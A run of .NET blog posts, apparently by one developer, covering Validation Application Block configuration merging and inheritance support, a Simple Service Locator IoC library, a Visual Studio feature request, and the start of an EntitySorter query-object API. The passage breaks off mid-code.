replicate the validation specification for the subclasses.

This of course is a brittle and error prone solution. Every time you create a new derived type, you have to think about duplicating that logic. It’s annoying and time consuming. There must be other possibilities.

In a previous article about VAB I showed a way to validate a set of objects using VAB. The code looked like this:

public IEnumerable<ValidationResult> Validate(
    IEnumerable<object> entities)
{
    return
        from entity in entities
        let type = entity.GetType()
        let validator = CreateValidator(type)
        let results = validator.Validate(entity)
        where !results.IsValid
        from result in results
        select result;
}

private static Validator CreateValidator(Type type)
{
    string ruleSet = string.Empty;

    return ValidationFactory.CreateValidator(type, ruleSet,
        ConfigurationSource);
}

The code iterates all given entities and validates each instance by retrieving the validator for the type of that instance. We can add quick and dirty inheritance support by also iterating the type hierarchy of each instance and validate that instance against the validator for that particular type:

public IEnumerable<ValidationResult> Validate(
    IEnumerable<object> entities)
{
    return
        from entity in entities
        from type in GetTypeHierarchyOf(entity.GetType())
        let validator = CreateValidator(type)
        let results = validator.Validate(entity)
        where !results.IsValid
        from result in results
        select result;
}
    
// Return the type and all its base types
private static IEnumerable<Type> GetTypeHierarchyOf(Type type)
{
    while (type != null)
    {
        yield return type;
        type = type.BaseType;
    }
}

While this seems easy and great, there are a couple of problems with this code. First of all this code generates duplicate error messages with attribute based validation. Reason for this is that inheritance is already supported by VAB for attribute based validation. Second, when validating graphs of objects using the [ObjectValidator] and [ObjectCollectionValidator], validations of base types will not be checked. Reason for this is that the ObjectValidator and ObjectCollectionValidator simply request a validator for the current type, and not for the type and al its base types.

Although the given code might work in certain scenarios, the lack of object graph validation is a pretty big drawback. Let’s take a totally different approach here.

When you read my previous article about merging multiple configuration files into a single VAB configuration, you know a lot can be done by rebuilding ValidationSettings objects. Using this exact approach we can create a solution to this inheritance problem. Note however, that this takes an awful lot more code than what was needed with the previous code snippet. Nice thing though is that I can reuse a lot of my code from my previous article.

Please note that when you want to use the code in this article, you will also need the code of my previous article, because I won’t repeat it here.

Please also note that while the solution below works pretty well, the solution itself has some shortcomings. Please note the following:

• While the solution even allows validations defined on interfaces to work on implementations of that interface, validation might fail when members are implemented explicitly.
• The solution iterates all types in all referenced assemblies of the current AppDomain, to find out whether a type derives from a certain base type. This means that the solution will not work for types that are generated during runtime and types in assemblies that are loaded dynamically.
• The solution creates a new ValidationSettings configuration where it adds all derived types of a base type in the configuration. When many such types exist, the generation process could become time consuming and could take a lot of memory. For instance, don’t add the .NET interfaces IComparable, IConvertible, IFormattable, ISerializable, and IDisposable to the configuration :-)

Below is the implementation of the InheritanceValidationConfigurationSource. It is in fact a decorator that wraps a supplied IConfigurationSource. Within the constructor the construction of the new ‘flattened’ configuration is delegated to the ValidationSettingsTypeHierarchyFlattener class. The returned ValidationSettings object is cached and returned on each call to GetSection.

public class InheritanceValidationConfigurationSource
    : IConfigurationSource
{
    private readonly ValidationSettings flattenedValidationSettings;

    public InheritanceValidationConfigurationSource(
        IConfigurationSource source)
    {
        var settings = source.GetSection(ValidationSettings.SectionName)
            as ValidationSettings;

        this.flattenedValidationSettings =
            ValidationSettingsTypeHierarchyFlattener.Flatten(settings);
    }

    public ConfigurationSection GetSection(string sectionName)
    {
        if (sectionName == ValidationSettings.SectionName)
        {
            return this.flattenedValidationSettings;
        }

        return null;
    }

    #region IConfigurationSource Members

    // Rest of the IConfigurationSource members left out.
    // Just implement them by throwing an exception from
    // their bodies; they are not used.

    #endregion
}

Below is the code of the ValidationSettingsTypeHierarchyFlattener class. Its logic is rather straightforward. It starts by making a copy of the supplied ValidationSettings. By making a copy, the original settings stay unmodified. Next, it finds all (non-interface) types in the configuration that have no base types in the configuration: the root types. For each root type the inheritance tree is walked (breadth-first) and for each type in that tree the configuration of its base type is copied to / merged with that type. The type is added to the configuration when it doesn’t exist. The last step in the flattener’s logic is finding all interface types in the configuration. For each interface type, all implementations (in the current AppDomain) are iterated and the configuration of that interface is copied to / merged with that type. Here is the code:

internal class ValidationSettingsTypeHierarchyFlattener
{
    private readonly ValidationSettings settings;

    private ValidationSettingsTypeHierarchyFlattener(
        ValidationSettings settings)
    {
        this.settings = Copier.MakeCopy(settings);
    }

    public static ValidationSettings Flatten(ValidationSettings settings)
    {
        var flattener =
            new ValidationSettingsTypeHierarchyFlattener(settings);

        flattener.DuplicateConfigurationForDerivedTypes();

        flattener.DuplicateInterfaceConfigurationToImplementations();

        return flattener.settings;
    }

    private void DuplicateConfigurationForDerivedTypes()
    {
        var rootClasses = this.FindRootClassesInConfiguration();

        foreach (Type rootClass in rootClasses)
        {
            this.DuplicateConfigurationToDerivedTypesOf(rootClass);
        }
    }

    private void DuplicateConfigurationToDerivedTypesOf(Type root)
    {
        var unorderedDescendants =
            TypeFinder.GetDerivedClassesFor(root);

        var sorter = new DistanceToBaseTypeComparer(root);

        var descendants = unorderedDescendants.OrderBy(t => t, sorter);

        foreach (Type descendant in descendants)
        {
            this.DuplicateConfigurationTo(descendant);
        }
    }

    private void DuplicateConfigurationTo(Type descendant)
    {
        ValidatedTypeReference baseReference =
            this.settings.Types.Get(descendant.BaseType.FullName);

        ValidatedTypeReference descendantReference =
            this.settings.Types.Get(descendant.FullName);

        bool descendantAlreadyExistsInConfiguration =
            descendantReference != null;

        if (descendantAlreadyExistsInConfiguration)
        {
            new TypeMerger(this.settings, baseReference)
                .MergeInto(descendantReference);
        }
        else
        {
            var copy =
                MakeCopyOfReferenceForType(baseReference, descendant);

            this.settings.Types.Add(copy);
        }
    }

    private void DuplicateInterfaceConfigurationToImplementations()
    {
        var interfaces = this.FindInterfacesInConfiguration();

        foreach (Type intrface in interfaces)
        {
            this.DuplicateConfigurationForImplementationsOf(intrface);
        }
    }

    private void DuplicateConfigurationForImplementationsOf(Type intrface)
    {
        var implementations =
            TypeFinder.GetImplementationsOfInterface(intrface);

        foreach (Type implementation in implementations)
        {
            this.DuplicateConfigurationForImplementation(intrface,
                implementation);
        }
    }

    private void DuplicateConfigurationForImplementation(Type intrface,
        Type implementation)
    {
        ValidatedTypeReference interfaceReference =
            this.settings.Types.Get(intrface.FullName);

        ValidatedTypeReference implementationReference =
            this.settings.Types.Get(implementation.FullName);

        bool implementationAlreadyExistsInConfiguration =
            implementationReference != null;

        if (implementationAlreadyExistsInConfiguration)
        {
            new TypeMerger(this.settings, interfaceReference)
                .MergeInto(implementationReference);
        }
        else
        {
            var copy = MakeCopyOfReferenceForType(interfaceReference,
                implementation);

            this.settings.Types.Add(copy);
        }
    }

    private Type[] FindRootClassesInConfiguration()
    {
        var configuredTypes = new HashSet<Type>(this.GetConfiguredTypes());

        return
            (from configuredType in configuredTypes
             where !configuredType.IsInterface
             where IsRootType(configuredType, configuredTypes)
             select configuredType).ToArray();
    }

    private Type[] FindInterfacesInConfiguration()
    {
        var configuredTypes = new HashSet<Type>(this.GetConfiguredTypes());

        return
            (from configuredType in configuredTypes
             where configuredType.IsInterface
             select configuredType).ToArray();
    }

    private static bool IsRootType(Type type, HashSet<Type> configuredTypes)
    {
        var baseTypesForTypeInConfiguration =
            from baseType in GetBaseTypesFor(type)
            where configuredTypes.Contains(baseType)
            select baseType;

        return !baseTypesForTypeInConfiguration.Any();
    }

    private static IEnumerable<Type> GetBaseTypesFor(Type type)
    {
        Type baseType = type.BaseType;

        while (baseType != null)
        {
            yield return baseType;
            baseType = baseType.BaseType;
        }
    }

    private IEnumerable<Type> GetConfiguredTypes()
    {
        return
            from reference in this.settings.Types
            select GetTypeFromReference(reference);
    }

    private static ValidatedTypeReference MakeCopyOfReferenceForType(
        ValidatedTypeReference reference, Type targetType)
    {
        var copy = Copier.MakeCopy(reference);

        copy.Name = targetType.FullName;
        copy.AssemblyName = targetType.Assembly.FullName;

        return copy;
    }

    private static Type GetTypeFromReference(
        ValidatedTypeReference reference)
    {
        // VAB doesn't need AssemblyName in order to validate a type.
        if (!String.IsNullOrEmpty(reference.AssemblyName))
        {
            // Fast O(1) lookup with assembly name.
            return GetTypeFromReferenceByFullyQualifiedName(reference);
        }
        else
        {
            // Slow lookup, but needed when AssemblyName is missing.
            return GetTypeFromReferenceByName(reference);
        }
    }

    private static Type GetTypeFromReferenceByFullyQualifiedName(
        ValidatedTypeReference reference)
    {
        var fqn = reference.Name + ", " + reference.AssemblyName;

        try
        {
            const bool ThrowOnError = true;
            return Type.GetType(fqn, ThrowOnError);
        }
        catch (Exception ex)
        {
            throw new ConfigurationErrorsException(
                string.Format(CultureInfo.InvariantCulture,
                "The configuration file references a type '{0}' " +
                "that could not be found in the AppDomain. {1}",
                fqn, ex.Message), ex);
        }
    }

    private static Type GetTypeFromReferenceByName(
        ValidatedTypeReference reference)
    {
        var typesWithName =
            TypeFinder.GetAllTypesInCurrentAppDomain()
                .Where(t => t.FullName == reference.Name)
                .ToArray();

        if (typesWithName.Length == 1)
        {
            return typesWithName[0];
        }

        if (typesWithName.Length > 1)
        {
            throw new ConfigurationErrorsException(
                string.Format(CultureInfo.InvariantCulture,
                "The configuration file references a type '{0}' " +
                "that is found multiple times in the current App" +
                "Domain. Try specifying the AssemblyName as well.",
                reference.Name));
        }
        else
        {
            throw new ConfigurationErrorsException(
                string.Format(CultureInfo.InvariantCulture,
                "The configuration file references a type '{0}' " +
                "that could not be found in the AppDomain.",
                reference.Name));
        }
    }
}

The flattener class references the small TypeFinder helper class. This class contains a few utility methods that search for types. For instance it enables loading all derived types of a particular type or finding all implementations of a particular interface. Below is the code for the TypeFinder class:

internal static class TypeFinder
{
    public static IEnumerable<Type> GetAllTypesInCurrentAppDomain()
    {
        return
            from assembly in AppDomain.CurrentDomain.GetAssemblies()
            from type in GetAllTypesFor(assembly)
            select type;
    }

    public static IEnumerable<Type> GetDerivedClassesFor(Type baseType)
    {
        return
            from type in GetAllTypesInCurrentAppDomain()
            where type.IsClass
            where type.IsSubclassOf(baseType)
            select type;
    }

    public static IEnumerable<Type> GetImplementationsOfInterface(
        Type interfaceType)
    {
        return
            from type in GetAllTypesInCurrentAppDomain()
            where !type.IsInterface
            where interfaceType.IsAssignableFrom(type)
            select type;
    }

    [DebuggerStepThrough]
    public static Type[] GetAllTypesFor(Assembly assembly)
    {
        try
        {
            return assembly.GetTypes();
        }
        catch (ReflectionTypeLoadException)
        {
            // GetTypes could throw an ReflectionTypeLoadException.
            // In that case we just skip the assembly.
            return Type.EmptyTypes;
        }
    }
}

As I described earlier, the ValidationSettingsTypeHierarchyFlattener walks the inheritance tree of a particular type in breadth-first order. While depth-first would also work, processing the collection of types in the hierarchy must have a certain order. By making sure a certain type is always processed after its base type, it allows us to copy the complete configuration from the type’s base type. Copying configuration becomes a waterfall where all configuration flows down the hierarchy. Not doing it this way, would make it very hard to yield correct results.

Because the TypeFinder class does not return the list of base types in a guaranteed order, the flattener class orders the list. It uses the DistanceToBaseTypeComparer class for this. This comparer compares two types based on their distance to the supplied base type. Here is the implementation:

internal sealed class DistanceToBaseTypeComparer : IComparer<Type>
{
    private readonly Type root;

    public DistanceToBaseTypeComparer(Type root)
    {
        this.root = root;
    }

    public int Compare(Type x, Type y)
    {
        int distanceOfX = this.CalculateDistanceToRoot(x);
        int distanceOfY = this.CalculateDistanceToRoot(y);

        return distanceOfX.CompareTo(distanceOfY);
    }

    private int CalculateDistanceToRoot(Type derivedType)
    {
        if (this.root.IsInterface)
        {
            return this.CalculateDistanceToInterface(derivedType);
        }
        else
        {
            return this.CalculateDistanceToBaseType(derivedType);
        }
    }

    private int CalculateDistanceToInterface(Type derivedType)
    {
        int distance = 1;

        this.CheckIfTypeIsImplementationOfRoot(derivedType);

        var baseType = derivedType.BaseType;

        while (baseType != null && this.root.IsAssignableFrom(baseType))
        {
            distance++;

            baseType = baseType.BaseType;
        }

        return distance;
    }

    private int CalculateDistanceToBaseType(Type derivedType)
    {
        int distance = 0;

        while (derivedType != this.root)
        {
            derivedType = derivedType.BaseType;
            distance++;
        }

        return distance;
    }

    private void CheckIfTypeIsImplementationOfRoot(Type derivedType)
    {
        if (!this.root.IsAssignableFrom(derivedType))
        {
            throw new InvalidProgramException(
                string.Format(CultureInfo.InvariantCulture,
                "An internal error occurred. Type {0} is not an " +
                "implementation of interface {1}.",
                derivedType, this.root));
        }
    }
}

The last two classes missing from the equation are the Copier and TypeMerger classes. You can find them in my previous article.

Happy validating!

Separating your VAB configuration into multiple files is useful in scenario’s where the configuration gets very big or when dealing with Software as a Service applications. With SaaS you’d usually have multiple customers using the same web service or web application or perhaps even have multiple physical deployments (one per customer) for the same application / code base. Splitting up the configuration is useful when you have different validation requirements among your customers. The idea is to have one base configuration that contains the validations that hold for all customers and multiple specific configurations; one per customer.

It shouldn’t come as an surprise that this scenario isn’t supported out of the box. Despite the fact that the solution will not be a one-liner, it’s great that the extensibility of VAB allows us to actually do this. The trick is to create an implementation of the IConfigurationSource interface that allows loading multiple configuration files and can merge them to one ValidationSettings element which the VAB infrastructure is able to process.

In the code snippet below you can see the usage of the class I called ValidationConfigurationSourceCombiner. It implements IConfigurationSource and therefore allows it to be supplied as input to the validation process. It allows multiple IConfigurationSource instances to be supplied through its constructor. During its creation it will combine the supplied configurations together to one big configuration, by iterating and comparing all elements and sub elements of these configurations.

IConfigurationSource configurationSource =
    new ValidationConfigurationSourceCombiner(
        new FileConfigurationSource("validation_base.config"),
        new FileConfigurationSource("validation_cust_13.config"),
        new FileConfigurationSource("validation_cust_56.config")
    );

Although the example uses a static list of configuration files, you can also load them dynamically for instance by searching the filesystem for all validation_*.config files, as shown here:

var appDir = AppDomain.CurrentDomain.BaseDirectory;
var pattern = "validation_*.config";

IConfigurationSource configurationSource =
    new ValidationConfigurationSourceCombiner(
        from fileName in Directory.GetFiles(appDir, pattern)
        select new FileConfigurationSource(fileName) 
            as IConfigurationSource
    ); 

When you create a single combiner that holds all validations for all customers, you will have to differentiate by using customer specific rulesets and inform the validator that only the default and cusomerX rulesets have to be validated. Specifying customer specific rulesets however, can be error prone. Your other option would be to create a combiner per customer. You can store them in a dictionary with the customer id as key and supply the customer’s specific combiner to the VAB validator.

Because the class takes IConfigurationSource instances and implements IConfigurationSource itself, it can by itself be used again as input to yet another combiner. This allows you to do infinitely stacking of instances :-).

Below the code for the ValidationConfigurationSourceCombiner.

public class ValidationConfigurationSourceCombiner
    : IConfigurationSource
{
    private readonly ValidationSettings combinedSettings;

    public ValidationConfigurationSourceCombiner(
        params IConfigurationSource[] sources)
        : this((IEnumerable<IConfigurationSource>)sources)
    {
    }

    public ValidationConfigurationSourceCombiner(
        IEnumerable<IConfigurationSource> sources)
    {
        string sectionName = ValidationSettings.SectionName;

        var settings =
            from source in sources
            select source.GetSection(sectionName)
                as ValidationSettings;

        this.combinedSettings =
            settings.Aggregate(CombineSettings);
    }

    public ConfigurationSection GetSection(string sectionName)
    {
        if (sectionName == ValidationSettings.SectionName)
        {
            return this.combinedSettings;
        }

        return null;
    }

    #region IConfigurationSource Members

    // Rest of the IConfigurationSource members left out.
    // Just implement them by throwing an exception from
    // their bodies; they are not used.

    #endregion

    private static ValidationSettings CombineSettings(
        ValidationSettings left, ValidationSettings right)
    {
        var valCopy = Copier.MakeCopy(left);

        new ValidationSettingsMerger(right).MergeInto(valCopy);

        return valCopy;
    }
}

As you can see this class doesn’t really do much. The constructor processes the supplied IConfigurationSource instances, by aggregating them down to a single ValidationSettings object and the GetSection method returns that instance. The Enumerable.Aggregate method uses the CombineSettings method, which takes two ValidationSettings instances and produces a new ValidationSettings that contains settings from both the instances. This is done by making a (deep) copy of the left and adding all settings from the right to that copy.

This adding (or merging as I call it in the code) is done by the ValidationSettingsMerger class, which simply iterates over all the items in the settings object. For each item it checks if the target object already contains the item. If the target item is missing, a deep copy of the source item is made and that copy is added to the target’s item collection. When the item already exists, the source item is merged with the target item. This merging is done by executing the operation described in this paragraphs for the item’s sub items.

To complete this story, here is the rest of the implementation.

As always: happy validating!

internal interface IMerger
{
    string TypeName { get; }

    string Name { get; }
    
    IMerger Parent { get; }
}

internal class ValidationSettingsMerger
{
    private readonly ValidationSettings source;

    public ValidationSettingsMerger(ValidationSettings source)
    {
        this.source = source;
    }

    public void MergeInto(ValidationSettings target)
    {
        foreach (var sourceType in this.source.Types)
        {
            var targetType = target.Types.Get(sourceType.Name);

            bool typeAlreadyInTarget = targetType != null;

            if (typeAlreadyInTarget)
            {
                var merger = new TypeMerger(this.source, sourceType);
                merger.MergeInto(targetType);
            }
            else
            {
                target.Types.Add(Copier.MakeCopy(sourceType));
            }
        }
    }
}

internal abstract class ValidationMerger<T> : IMerger
    where T : NamedConfigurationElement
{
    protected ValidationMerger(ValidationSettings settings,
        T sourceElement, IMerger parent)
    {
        this.SourceSettings = settings;
        this.Source = sourceElement;
        this.Parent = parent;
    }

    public abstract string TypeName { get; }

    public IMerger Parent { get; private set; }

    public string Name { get { return this.Source.Name; } }

    protected T Source { get; private set; }

    protected ValidationSettings SourceSettings
    {
        get;
        private set;
    }
}

internal class TypeMerger
    : ValidationMerger<ValidatedTypeReference>
{
    public TypeMerger(ValidationSettings sourceSettings,
        ValidatedTypeReference sourceType)
        : base(sourceSettings, sourceType, null)
    {
    }

    public override string TypeName { get { return "type"; } }

    public void MergeInto(ValidatedTypeReference target)
    {
        this.SetDefaultRuleset(target);

        foreach (var sourceRules in this.Source.Rulesets)
        {
            var targetRules =
                target.Rulesets.Get(sourceRules.Name);

            if (targetRules != null)
            {
                this.CreateRulesetMerger(sourceRules)
                    .MergeInto(targetRules);
            }
            else
            {
                targetRules = Copier.MakeCopy(sourceRules);
                target.Rulesets.Add(targetRules);
            }
        }
    }

    private void SetDefaultRuleset(ValidatedTypeReference target)
    {
        var sourceRuleset = this.Source.DefaultRuleset;
        var targetRuleset = target.DefaultRuleset;

        if (String.IsNullOrEmpty(targetRuleset))
        {
            target.DefaultRuleset = sourceRuleset;
        }
        else if (String.IsNullOrEmpty(sourceRuleset))
        {
            // Don't override the target ruleset.
        }
        else if (sourceRuleset != targetRuleset)
        {
            this.ThrowDefaultRulesetsDifferException(target);
        }
    }

    private void ThrowDefaultRulesetsDifferException(
        ValidatedTypeReference target)
    {
        // Note: because the merging we loose the Element-
        // Information of the target, so we can not use it
        // the exception message.
        throw new ConfigurationErrorsException(
            string.Format(CultureInfo.InvariantCulture,
            "The configuration file {0} contains a type " +
            "'{1}' that has a DefaultRuleset that differs " +
            "from the DefaultRuleset in the type of the " +
            "other configuration files. DefaultRuleset " +
            "'{2}' was expected but '{3}' was found.",
            this.Source.ElementInformation.Source,
            target.Name, this.Source.DefaultRuleset, 
            target.DefaultRuleset));
    }

    private RulesetMerger CreateRulesetMerger(
        ValidationRulesetData sourceRuleset)
    {
        return new RulesetMerger(this.SourceSettings,
            sourceRuleset, this);
    }
}

internal class RulesetMerger
    : ValidationMerger<ValidationRulesetData>
{
    public RulesetMerger(ValidationSettings settings,
        ValidationRulesetData sourceRuleset, IMerger parent)
        : base(settings, sourceRuleset, parent)
    {
    }

    public override string TypeName { get { return "ruleset"; } }

    public void MergeInto(ValidationRulesetData target)
    {
        var source = this.Source;

        this.MergeCollection(source.Fields, target.Fields);
        this.MergeCollection(source.Methods, target.Methods);
        this.MergeCollection(source.Properties, target.Properties);
        this.MergeValidators(source.Validators, target.Validators);
    }

    private void MergeCollection<TMember>(
        NamedElementCollection<TMember> sourceCollection,
       NamedElementCollection<TMember> targetCollection)
        where TMember : ValidatedMemberReference, new()
    {
        foreach (var sourceMember in sourceCollection)
        {
            var targetMember =
                targetCollection.Get(sourceMember.Name);

            if (targetMember != null)
            {
                this.CreateMemberMerger(sourceMember)
                    .MergeInto(targetMember);
            }
            else
            {
                targetMember = Copier.MakeCopy(sourceMember);
                targetCollection.Add(targetMember);
            }
        }
    }

    private void MergeValidators(
        ValidatorDataCollection sourceValidators,
        ValidatorDataCollection targetValidators)
    {
        var merger = this.CreateValidatorMerger();
        merger.MergeValidatorsInto(
            sourceValidators, targetValidators);
    }

    private MemberMerger<TMemberReference>
        CreateMemberMerger<TMemberReference>(
        TMemberReference sourceElement)
        where TMemberReference : ValidatedMemberReference, new()
    {
        return new MemberMerger<TMemberReference>(
            this.SourceSettings, sourceElement, this);
    }

    private ValidatorMerger CreateValidatorMerger()
    {
        return new ValidatorMerger(this.SourceSettings, this);
    }
}

internal class MemberMerger<TMember>
    : ValidationMerger<ValidatedMemberReference>
    where TMember : ValidatedMemberReference, new()
{
    public MemberMerger(ValidationSettings sourceSettings,
        TMember sourceMember, IMerger parent)
        : base(sourceSettings, sourceMember, parent)
    {
    }

    [SuppressMessage("Microsoft.Globalization", 
        "CA1308:NormalizeStringsToUppercase")]
    public override string TypeName
    {
        get
        {
            // Allow returning the actual type without
            // subclassing the MemberMerger<TMember>.
            return typeof(TMember).Name
                .Replace("Validated", string.Empty)
                .Replace("Reference", string.Empty)
                .ToLowerInvariant();
        }
    }

    public void MergeInto(TMember target)
    {
        var merger = this.CreateValidatorMerger();

        merger.MergeValidatorsInto(this.Source.Validators,
            target.Validators);
    }

    private ValidatorMerger CreateValidatorMerger()
    {
        return new ValidatorMerger(this.SourceSettings, this);
    }
}

internal class ValidatorMerger
{
    private readonly IMerger parent;
    private readonly ValidationSettings settings;

    public ValidatorMerger(ValidationSettings settings, IMerger parent)
    {
        this.parent = parent;
        this.settings = settings;
    }

    public void MergeValidatorsInto(
        ValidatorDataCollection sourceValidators,
        ValidatorDataCollection targetValidators)
    {
        foreach (var sourceValidator in sourceValidators)
        {
            var targetValidator =
                targetValidators.Get(sourceValidator.Name);

            if (targetValidator != null)
            {
                this.CreateValidatorMerger().MergeInto(targetValidator);
            }
            else
            {
                targetValidator = Copier.MakeCopy(sourceValidator);
                targetValidators.Add(targetValidator);
            }
        }
    }

    public void MergeInto(ValidatorData target)
    {
        string parentsInformation =
            this.GetValidatorParentsInformation();

        throw new ConfigurationErrorsException(String.Format(
            CultureInfo.InvariantCulture,
            "The configuration file {0} contains a {1} " +
            "with name '{2}' that already is defined in " +
            "configuration {3}. {4}",
            this.settings.ElementInformation.Source,
            target.Type.Name, target.Name,
            target.ElementInformation.Source,
            parentsInformation));
    }

    private string GetValidatorParentsInformation()
    {
        var parentsDescription =
            from parent in this.GetParents()
            select string.Format(CultureInfo.InvariantCulture,
            "{0} '{1}'", parent.TypeName, parent.Name);

        return string.Format(CultureInfo.InvariantCulture,
            "The validator is defined in {0}.",
            string.Join(", ", parentsDescription.ToArray()));
    }

    private IEnumerable<IMerger> GetParents()
    {
        var parent = this.parent;

        while (parent != null)
        {
            yield return parent;
            parent = parent.Parent;
        }
    }

    private ValidatorMerger CreateValidatorMerger()
    {
        return new ValidatorMerger(this.settings, this.parent);
    }
}

internal static class Copier
{
    public static ValidationSettings MakeCopy(
        ValidationSettings source)
    {
        var copy = new ValidationSettings();

        foreach (var sourceType in source.Types)
        {
            copy.Types.Add(Copier.MakeCopy(sourceType));
        }

        return copy;
    }

    public static ValidatedTypeReference MakeCopy(
        ValidatedTypeReference source)
    {
        var target = new ValidatedTypeReference()
        {
            AssemblyName = source.AssemblyName,
            DefaultRuleset = source.DefaultRuleset,
            Name = source.Name,
        };
        
        foreach (var sourceRuleset in source.Rulesets)
        {
            target.Rulesets.Add(Copier.MakeCopy(sourceRuleset));
        }

        return target;
    }

    public static ValidationRulesetData MakeCopy(
        ValidationRulesetData source)
    {
        var target = new ValidationRulesetData(source.Name);

        Copier.CopyCollection(source.Fields, target.Fields);
        Copier.CopyCollection(source.Methods, target.Methods);
        Copier.CopyCollection(source.Properties, target.Properties);
        Copier.CopyValidators(source.Validators, target.Validators);

        return target;
    }

    public static TMember MakeCopy<TMember>(TMember sourceMember)
        where TMember : ValidatedMemberReference, new()
    {
        var target = new TMember();

        target.Name = sourceMember.Name;

        foreach (var sourceValidator in sourceMember.Validators)
        {
            target.Validators.Add(Copier.MakeCopy(sourceValidator));
        }

        return target;
    }

    public static ValidatorData MakeCopy(ValidatorData source)
    {
        // A validator is considered readonly, 
        // we can simply use the reference.
        return source;
    }

    private static void CopyCollection<TMember>(
        NamedElementCollection<TMember> sourceCollection,
        NamedElementCollection<TMember> targetCollection)
        where TMember : ValidatedMemberReference, new()
    {
        foreach (var sourceElement in sourceCollection)
        {
            targetCollection.Add(Copier.MakeCopy(sourceElement));
        }
    }

    private static void CopyValidators(
        ValidatorDataCollection sourceValidators,
        ValidatorDataCollection targetValidators)
    {
        foreach (var sourceValidator in sourceValidators)
        {
            targetValidators.Add(Copier.MakeCopy(sourceValidator));
        }
    }
}

The track saves me from using caffeine to get running in the morning.

Two thumbs up for Drum & Bass DJ Mistabishi.

Many development teams I help have legacy code bases with little or no unit tests. As you can imagine, the complexity makes it hard to add new features and fix existing bugs. Changing the course is often not easy, because the developers need to learn a whole new back of tricks. One of those tricks is unit testing and to me inextricably connected with that is dependency injection.

To get teams on the road quickly I often want to do the simplest thing that could possibly work. For that reason I've been annoyed with the complexity of the popular inversion of control frameworks. The concepts of inversion of control (IoC), dependency injection and good RTM unit tests are by itself hard enough to gasp for many developers. Learning to work with and configure several different frameworks (such as logging, validation, O/RM, and dependency injection) at the same time makes it even harder.

For this reason I started the Simple Service Locator project on CodePlex. It’s a (yet another) IoC library for .NET. Key features are its simplicity and it being an implementation of the Common Service Locator interface. This makes it especially useful for development teams unfamiliar with one of the existing IoC frameworks. Development teams can start using the Simple Service Locator and replace it with a more feature-rich IoC framework later on when needed, without having to alter any production code. For the lifetime of many projects however, I expect the Simple Service Locator just to be sufficient.

Simple Service Locator is an implementation of the Common Service Locator (CSL) interface and is not meant to be used without it. Therefore production code should only call CSL's ServiceLocator facade, as is shown in the following example:

IWeapon weapon = ServiceLocator.Current.GetInstance<IWeapon>();

Configuring the Simple Service Locator is done in the startup path of the application, as can be seen below. In this example you see how the Simple Service Locator is configured in the Application_Start event of the global.asax of a ASP.NET web application.

using System;
using CuttingEdge.ServiceLocation;
using Microsoft.Practices.ServiceLocation;

public class Global : System.Web.HttpApplication
{
    protected void Application_Start(object sender, EventArgs e)
    {
        // 1. Create a new Simple Service Locator container
        var container = new SimpleServiceLocator();

        // 2. Configure the container

        // Register a delegate that will create a new
        // instance on each call to GetInstance<Warrior>.
        container.Register<Warrior>(() =>
            {
                var weapon = container.GetInstance<IWeapon>();
                return new Samurai(weapon);
            });

        // Register a single object instance that always
        // be returned (must be thread-safe).
        container.RegisterSingle<IWeapon>(new Katana());

        // 3. Register the container to the Common Locator
        ServiceLocator.SetLocatorProvider(() => container);
    }
}

Please visit the Simple Service Locator home page to see more code examples.

The project is currently in beta, which means your feedback is very welcome. What do you think of the current API? Can we make it even simpler? Do you miss anything? I like to know.

Cheers.

In Visual Studio 2005 and 2008 this feature is quite a hack actually, because a manual tweak in the Windows registry is needed. Sara Ford writes in a hidden feature for the Visual Studio Editor about how to configure this.

According to the following bug report the feature is removed from Visual Studio 2010. Not only do I want this feature back, I like to see it supported and improved!

The thing is that VS 2005 and 2008 don't allow the guidelines to be specified on a per C# project basis. This is a problem when a single developer is working on multiple projects (with different line length rules) on a single machine.

For this reason I opened the following feature request on the Microsoft Connect site: Allow text editor guidelines to be specified in project settings.

Please help to get this feature back in Visual Studio 2010 and get it improved by voting on this feature request.

Thanks.

Consequence of this architectural rule is that the service layer should not return objects that implement IQueryable. Neither should you return entities with lazy loading capacities, because this would allow the presentation layer to make extra calls to the database, without the service layer knowing this (and it needs for the context to stay alive).

The approach I take is rather radical. I make sure that DataContext and ObjectContext classes are disposed by the layer that creates them (as you should do with all IDisposable objects) and return Data Transfer Objects often.

This subject deserves a whole post on it's own, but this architectural rule has some consequences on your design. When you're not allowed to return IQueryable objects from the service layer, you are faced with some challenges. One of those challenges is sorting.

Many user interfaces allow the user to sort results. While the presentation layer can sort a collection that's returned from the service layer, this could cause a severe performance problem, when working with paged result sets.

To solve this problem, the presentation layer should be able to instruct the service layer how to sort a requested set of results. A nice way to achieve this is by using a construct that's similar to Fowler's Query Object.

To achieve this, let's define an interface that allows sorting of collections:

public interface IEntitySorter<TEntity>
{
    IOrderedQueryable<TEntity> Sort(IQueryable<TEntity> collection);
}

Implementations of this interface can be supplied by the presentation layer to methods in the service layer to allow sorting. Below is an example of the use of this 'sort object' in the service layer:

public static Person[] GetAllPersons(IEntitySorter<Person> sorter)
{
    Condition.Requires(sorter, "sorter").IsNotNull();

    using (var db = ContextFactory.CreateContext())
    {
        IOrderedQueryable<Person> sortedList =
            sorter.Sort(db.Persons);

        return sortedList.ToArray();
    }
}

Note that this interface processes an IQueryable and returns an IOrderedQueryable. Because IQueryable uses expression trees, frameworks like LINQ to SQL and Entity Framework can parse it. This allows sorting to be executed in the database. The place where this is (usually) done best.

Now let's think about how the presentation layer code should look. This layer shouldn't have to define new implementations of this interface for each and every call to the service layer. We want to have some sort of facade that allows us to create new instances easily. I'm thinking about code like this:

var sorter = EntitySorter<Person>.OrderBy(p => p.Id);
var persons = PersonServices.GetAllPersons(sorter);

And I'd like to be able to sort in descending order:

var sorter = EntitySorter<Person>.OrderByDescending(p => p.Id); 

And I'd like to be able to sort on multiple things, like this:

var sorter = EntitySorter<Person>
    .OrderBy(p => p.Name)
    .ThenBy(p => p.Id);

And it should be easy to create a new instance, based on the name of a property, simply because much of ASP.NET's infrastructure is based on strings. Controls like GridView supply string based property names. Therefore, the API should allow the following syntax:

var sorter = EntitySorter<Person>.OrderBy("Name");

And it must be possible to sort on properties in related objects, like this:

var sorter1 = EntitySorter<Person>.OrderBy(p => p.Address.City);
var sorter2 = EntitySorter<Person>.OrderBy("Address.City");

And while we're add it, it would be cool if we could use LINQ syntax to define a new sorter:

IEntitySorter<Person> sorter =
    from person in EntitySorter<Person>.AsQueryable()
    orderby person.Name descending, person.Id
    select person;

I think this is a nice API that would work. Now let's build it!

internal enum SortDirection
{
    Ascending,
    Descending
}

public static class EntitySorter<T>
{
    public static IEntitySorter<T> AsQueryable()
    {
        return new EmptyEntitySorter();
